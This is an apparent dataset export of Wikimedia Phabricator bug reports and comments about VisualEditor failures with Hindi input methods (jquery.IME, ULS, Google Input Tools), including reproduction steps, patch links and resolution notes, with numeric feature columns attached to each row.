+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378231800,1427915110.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nj4fiiksolcbit4ngngp,task_description,declined,True,c1,3,False,False,False,9,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+436759,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)",Don't need to make this work as we don't use `iframe`s any more.,,,1427915125,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nj4fiiksolcbit4ngngp,task_subcomment,,True,c1,3,True,,,91,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1
+235217,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)",*** Bug 55969 has been marked as a duplicate of this bug. ***,,,1382983618,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-nj4fiiksolcbit4ngngp,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+55711,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"System environment:
+Win 7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Either use google input tools for hindi or enable ULS hindi transliteration
+
+Input:
+Select bullet formatting from the VE toolbar
+agar[SPACE]main[SPACE]
+
+Expected output:
+with ULS: अगर[SPACE]मैन[SPACE]
+with Google input tools (depends on translation history, macros etc and may differ user-to-user): अगर[SPACE]मैं[SPACE]
+
+Actual output:
+Text output is same as expected. However, the text is partially non-navigable, ie pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. Simultaneously, if the text is navigated by specifically placing the caret at a particular point using the mouse, the value shown for the formatting dropdown in the toolbar may go blank at one point in the text and become paragraph at the next.
+
+The text is also irremovable ie bug 53708
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53708",Medium,50.0,1378217520,1453749286.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bqgfek7rspw6d5gukppc,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+234917,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"(In reply to comment #1)
+> There's code to address this bug in the following patch, which is due to go
+> live by mediawiki.org on 13 September 2013:
+> 
+> https://gerrit.wikimedia.org/r/#/c/82858/
+> 
+> Please let us know whether it fixes the bug!
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+The patch seems to have partially fixed the bug.
+
+Text input using google input tools is now navigable.
+
+But text input using ULS IME hindi transliteration is still non-navigable. Pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. (Same behaviour as before)
+
+The text formatting at all points in the bullet text remains as paragraph though (no blanking of the formatting drop-down).
+
+Text input with ULS is still irremovable ( bug 53708 )",,,1379516449,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-bqgfek7rspw6d5gukppc,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234910,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943051,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-bqgfek7rspw6d5gukppc,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+55708,VisualEditor: Incorrect and irremovable text placement with IMEs,"Screenshot of incorrect text placement
+
+System environment:
+Win 7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Enable ULS IME hindi transliteration
+
+Input:
+[ENTER/RETURN KEY]x2 (two newlines)
+agar[SPACE]ma
+
+Expected output:
+[NEWLINE]x2 (two newlines)
+अगर[SPACE]म
+
+Actual output:
+[NEWLINE]x2 (two newlines)
+अग[NEWLINE]र[SPACE]म
+
+Once [ENTER/RETURN KEY]x2 followed by agar[SPACE] has been pressed, Bug 53706 shows up. If one continues the input, this bug is what happens. The incorrect placement is accompanied by the following incorrect bahaviours:
+
+The VE toolbar shows no format (while the editing had been begun with paragraph)
+
+Cursor movement is incorrect. When the cursor is at the end, pressing up key takes it to the end of the first line, then pressing the down key takes it in the second line after the [SPACE] and before म It is here that the incorrect behaviour occurs. Pressing either the left or the right arrow keys takes it to the end of the line (ie after म) While this should happen on right arrow key press, the left arrow key press should take the cursor(caret) to before the space.
+
+Also, when at the end of the second line, pressing backspace does nothing. Similarly pressing delete anywhere in the second line does nothing. The second line effectively becomes irremovable, while the first line can be removed.
+
+Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53711
+
+**Attached**: {F11165}",Medium,50.0,1378212900,1453749321.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+234766,VisualEditor: Incorrect and irremovable text placement with IMEs,Automatic Incorrect caret movement has been reported separately as Bug 54424,,,1379768773,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234761,VisualEditor: Incorrect and irremovable text placement with IMEs,"Tested out this bug for page with pre-existing devanagari text.
+
+System Environment: Same as Comment 4
+
+Test Url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit
+
+Steps:
+1 Enable ULS IME hindi transliteration
+2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
+3Input k
+3.1 This will give the output of क् with the newline selected ( Bug 53706 )
+4 Now input g
+4.1 This will give an output of ग् but this output will show up in the next line
+4.1.1 This output cannot be copy-pasted into an external text editor though it can be selected in VE
+4.1.2 This output is ignored in caret movement when using the arrow keys, so the caret goes straight from the beginning of the second paragraph to the end of the first paragraph just after क् jumping past ग् in between. When right arrow key is pressed the caret goes from here to the beginning of the second paragraph इस jumping past ग्
+4.1.3 Pressing backspace from the beginning of the second paragraph joins the second paragraph with the first paragraph jumping past the ग् making it the last text in the page
+4.1.4 Taking the caret to the end of text i.e after ग् makes the formatting dropdown go blank
+4.1.5 Using the VE toolbar Undo button moves the second paragraph back to a new line but it still stays above the ग् which is still the last text on the page.
+4.1.6 Undoing everything and adding a space to the end of the second paragraph and then submitting and reviewing the changes diff shows that the ग् at the end of the page is not being added
+4.1.7 Typing something after the ग् shows the text added after both ग् and the second paragraph.
+
+So effectively the bug is present even while editing existing pages with devanagari text using VE+ULS.",,,1379767940,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+234756,VisualEditor: Incorrect and irremovable text placement with IMEs,"Reported console errors in Bug 54331 and Bug 54334 per Comment 7
+
+There's possibly other console error instances which need to be reported.
+
+(In reply to comment #8)
+> If you were able to test the issues for non-blank pages that would be a great
+> help too, because it looks like the problems happen in different ways in
+> those
+> two cases.
+
+Will do.",,,1379608845,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+234750,VisualEditor: Incorrect and irremovable text placement with IMEs,"Thank you very much for providing this level of detail; I can't emphasise enough how helpful it is!
+
+If you were able to test the issues for non-blank pages that would be a great help too, because it looks like the problems happen in different ways in those two cases.",,,1379605340,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+234744,VisualEditor: Incorrect and irremovable text placement with IMEs,"(In reply to comment #6)
+> Could you please try typing some text on the following page, under the words
+> ""Testing Area"":
+> 
+>   https://www.mediawiki.org/w/index.php?title=Project:Sandbox&veaction=edit
+> 
+
+System environment: same as Comment 4
+
+Here's my primary analysis of editing on that page (without ULS).
+
+1. In the beginning the formatting dropdown is blank.
+1.1 Pressing [RETURN KEY] does not have any effect no matter how many times it is pressed.
+1.2 Pressing the [TAB KEY] takes the caret to the top of the page (above the ""edit this page"" template)
+1.3 Typing an ASCII character (or an international digit) changes the value in the formatting dropdown to paragraph.
+1.3.1 If a backspace is now pressed, the formatting remains the same.
+1.3.2 Pressing the [RETURN KEY] also works once an ASCII character has been input.
+1.3.3 Undoing all actions takes one back to the original position and [RETURN KEY] doesn't work again.
+
+Here's what happens with ULS hi transliteration (labelled लिप्यंतरण) enabled:
+
+1 Enabling ULS moves the caret to the top of the page (above the ""edit this page"" template) and the IME name लिप्यंतरण appears beside the ULS icon.
+1.1 Manually taking the caret to the original location below the ""Testing Area"" can be done
+1.1.1 If the caret is taken to the original location after the api call for the transliteration rules has completed, ULS icon shows that the transliteration method is not active (i.e no IME name visible beside the icon). This is incorrect as the dropdown for the menu shows the method selected and typing with the method works. Moving the caret manually back to the top still shows no change in the icon.
+1.1.2 If the caret is taken to the original position before the api call for the transliteration rules has completed, ULS icon shows the name of the IME correctly.
+1.1.3 Points 1.1.1 and 1.1.2 seem heisenbuggy and need to be confirmed.
+2 In the beginning (i.e nothing typed before), typing with ULS works, but the formatting dropdown remains blank.
+3 Input: agar[SPACE] Expected output: अगर[SPACE]
+3.1 The output अगर appears, but the space doesn't.
+3.1.1 Point to note: Per the hi transliteration rules in ULS agar itself gives अगर् i.e there is a viram ् (U+094D) at the end. ULS removes this when a space is input, i.e pressing space causes the removal of viram as well as the addition of space (this behaviour is the fix for bug 35990 ). So ULS is recognizing the space and removing the viram, but the space itself is getting lost somwehere between ULS and VE.
+3.1.2 Copying the text node text from within the chrome console and pasting in an external text editor showed the text to be prefixed by U+FEFF (ZERO WIDTH NO-BREAK SPACE)
+3.1.2 This text is not navigable using the left or right arrow keys.
+3.1.3 The text also cannot be copied. It can be selected manually with the mouse, but copying it is not possible. Pasting the selected text in an external editor showed nothing, as if no text had been selected. Tried copying using both the Ctrl+C keyboard shortcut and the right-click menu.
+3.4 Another space press is recognized. However, VE seems to treat this as the first input character.
+3.4.1 The original text disappears, replaced by the space. ( bug 53705 )
+3.4.2 The formatting dropdown shows the formatting to be paragraph.
+
+To my noobish eye, it appears that if VE was told to consider the default formatting to be paragraph (i.e no blank formatting dropdown in the beginning) OR VE considered any text input without a formatting dropdown value to be paragraph, ULS input disappearing would stop (I'm guessing this since once the formatting is set to paragraph, the text doesn't seem to disappear.)
+
+NOTE 1: This bug is starting to look a lot like a catchall to me, with automatic caret movement, incorrect formatting in the dropdown, non-detection of ULS input by VE, and what not. Feel free to file separate bugs where you find them necessary (or tell me which ones need to be filed separately, I'll be glad to help).
+
+NOTE 2: I reported this bug (along with a bunch of other related bugs) editing on a blank page so as to minimize bugs interfering with each-other and to have the simplest possible steps to reproduce the problem. However, I think that some of these may be applicable even on non-blank pages. Do I need to separately test the issues for non-blank pages and report the behaviour in these bugs (or are the current reports sufficient)?
+
+NOTE 3: I'm also ending up with a bunch of js console errors from VE, but I haven't checked exactly which step causes them. I'' try to reproduce them and let you know.",,,1379601354,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+234737,VisualEditor: Incorrect and irremovable text placement with IMEs,"Thanks for specifying the exact keystrokes -- it really helps!
+
+There's a specific input issue when the whole page is blank (whether or not an input method is used, i.e. even if you just type ASCII characters).
+
+Could you please try typing some text on the following page, under the words ""Testing Area"":
+
+  https://www.mediawiki.org/w/index.php?title=Project:Sandbox&veaction=edit
+
+Then click ""Save Page"" and ""Review your changes"", and see whether the text appears correctly in the right-hand version. (After that, you can cancel the edit without saving).
+
+I can type देवनागरी (""devnagrI"" using my Ibus Hindi phonetic IME) there, and it appears correctly.",,,1379514033,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+234733,VisualEditor: Incorrect and irremovable text placement with IMEs,"The behaviour has also changed for the input described in Comment 1
+
+Test at hindi wikipedia:
+Test url:
+https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit
+
+Input:
+agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]
+
+Output:
+Fine except the newline never appears, no matter how many times the return key is pressed. The newline does not appear even when google input tools are disabled and the keyboard switched back to English (United States). The formatting dropdown is blank. The text is non-navigable ( bug 53711 ). However, pressing the left and right arrow keys a bunch of times and then pressing the return key still causes the text to be replaced with a newline followed by ♙
+
+Test at Mediawiki.org:
+Test url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+The behaviour with google input tools seems to be correct with the newline being placed correctly, and the text being navigable.",,,1379511359,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+234729,VisualEditor: Incorrect and irremovable text placement with IMEs,"(In reply to comment #3)
+> There's code to address this bug in the following patch, which is due to go
+> live by mediawiki.org on 13 September 2013:
+> 
+> https://gerrit.wikimedia.org/r/#/c/82858/
+> 
+> Please let us know whether it fixes the bug!
+
+The patch doesn't fix the bug. The behaviour has changed, however, and on first look it appears to be for the worse.
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Input and expected output:
+Same as in comment 0
+
+Test at hindi wikipedia:
+Test url:
+https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit
+
+What actually happens: (is too weird to be explained without prose)
+1. After inputting 2 newlines, as soon as a is pressed, VE shows input of अ but one line above the current line, i.e caret automatically moves from line 3 to line 2.
+2. Further inputting gar[SPACE] makes bug 53706 to show up, ie we have अगर[SPACE] in the second line with the space and newline selected, and the formatting dropdown having blanked.
+3. Then inputting m makes म् appear, but its in the next line, i.e line three.
+4. The caret has also moved back to line three ahead of it.
+5. Then, when the final a is input, the अगर[SPACE] in line two changes to अग with the र[SPACE] having moved to the beginning of line three followed by म . The text in line three is irremovable.
+
+Test at Mediawiki.org:
+Test url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+Firstly the page is blanked and the formatting reset to paragraph. The input described in Comment 0 is then done.
+
+What actually happens:
+Step 1-5 same as hindi wikipedia.
+Following this, after a (noticeable) fraction of a second, the text र[SPACE]म appears in the first line and the newline between lines 1 and 2 is selected.
+Caret movement is weird. When caret is at the end of the text (i.e end of third line), pressing a left arrow key takes it straight to the beginning of the second line. A right arrow keypress takes the caret back to end of third line. This effectively means that the text in lines two and three is non-navigable ( bug 53711 ). Pressing a backspace at the end of the third line removes the entire second line text, taking the caret to the second line. The first line is both navigable and removable. The third line text however, is irremovable.",,,1379510564,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+234724,VisualEditor: Incorrect and irremovable text placement with IMEs,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943038,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234719,VisualEditor: Incorrect and irremovable text placement with IMEs,This bug was also seen when VE testing revealed Bug 53711,,,1378218621,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+234711,VisualEditor: Incorrect and irremovable text placement with IMEs,"This bug (or a variant of it) seems to happen when using Google input tools for hindi.
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Enable google input tools IME
+Type something. example keystrokes: agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]
+
+Expected output:
+The text is typed(exact output text would depend on the IME's translation memory, macros used etc.) with a newline at the end and the cursor (caret) in the newline.
+
+Actual output:
+The text is typed correctly, the newline is also placed, but the cursor remains in the first line. The formatting dropdown of the VE toolbar is blank. It changes back to paragraph on pressing either the right or left arrow key (haven't tested with any other key).
+
+Pressing the return key again causes the newline to disappear while the text remains (variant of Bug 53705 ?). The same behaviour (correctly) takes place on pressing the delete key.
+
+Possibly different bug: When at the end of the first line, pressing the left/right arrow keys a bunch of times and then pressing the return key made me somehow end up with ♙ as the only text and all the input text gone.
+
+Also note that this bug doesn't seem to appear when using the native windows input devanagari-INSCRIPT",,,1378214611,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,9,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+55707,VisualEditor: Reset title opacity on API call failure,"System environment:
+Win 7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Let the API call for the parsed json output fail
+VE asks if you would like to retry, press Cancel
+
+Expected behaviour:
+VE should reset the opacity for the title and sitesub back to 1 from 0.6
+
+Actual behaviour:
+Opacity is not changed, leaving it 0.6 although the user is effectively reading the article, not editing it with VE
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378211220,1402329926.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-jvygvcsdp3dse45vpayw,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+234659,VisualEditor: Reset title opacity on API call failure,I believe we fixed this a few months ago; sorry for the slow triage.,,,1402329753,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvygvcsdp3dse45vpayw,task_subcomment,,True,c1,3,True,,,49,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+55706,VisualEditor: Incorrect text selection with jquery.IME,"Screenshot of selection error
+
+System environment:
+Win 7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Enable ULS IME hindi transliteration
+
+Input:
+[RETURN/ENTER KEY]x4 (four newlines)
+agar[SPACE]
+
+Expected output:
+[NEWLINE]x4 (four newlines)
+अगर[SPACE]
+
+no text selection should be there
+
+Actual output:
+[NEWLINE]x4 (four newlines)
+अगर[SPACE]
+
+the ending [SPACE] is selected with a newline. Also, the toolbar shows that VE has somehow jumped to changing the formatting to bulleted and numbered list from the original paragraph formatting.
+
+Further, pressing a backspace deletes not only the selected space/newline, but also the typed text अगर. I think this is Bug 53705 though I may be wrong.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53700
+
+**Attached**: {F11150}",Medium,50.0,1378210380,1453749345.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ejote3xjqqm7riq7xqwf,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+596668,VisualEditor: Incorrect text selection with jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234620,VisualEditor: Incorrect text selection with jquery.IME,"Further testing Comment 3 seems to indicate that the newline selection happens when the last input is a consonant followed by a halant which can be input with one keystroke.
+
+The hindi transliteration IME inputs two characters whenever an ASCII consonant is input, the equivalent hindi consonant followed by the halant character ् (U+094D)
+
+So inputting g gives ग् i.e ग + ् , j gives ज् i.e ज + ् etc. with the newline selected.
+
+Some hindi consonants, however, need two keystrokes to be input. So gh gives घ् i.e घ + ् and jh gives झ् i.e झ + ् etc. Output for these depends on the input speed. If one is quick, the text is input correctly with no selection. However, if one is slow, Bug 54421 shows up with the grapheme containing the duplicated text at the beginning of the article being selected.
+
+This selection (or non-selection) behaviour takes place regardless of whether the input is one consonant or a word. The behaviour depends on what the last consonant is, one that can be input with one keystroke or one that is input with two keystrokes.",,,1379766638,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
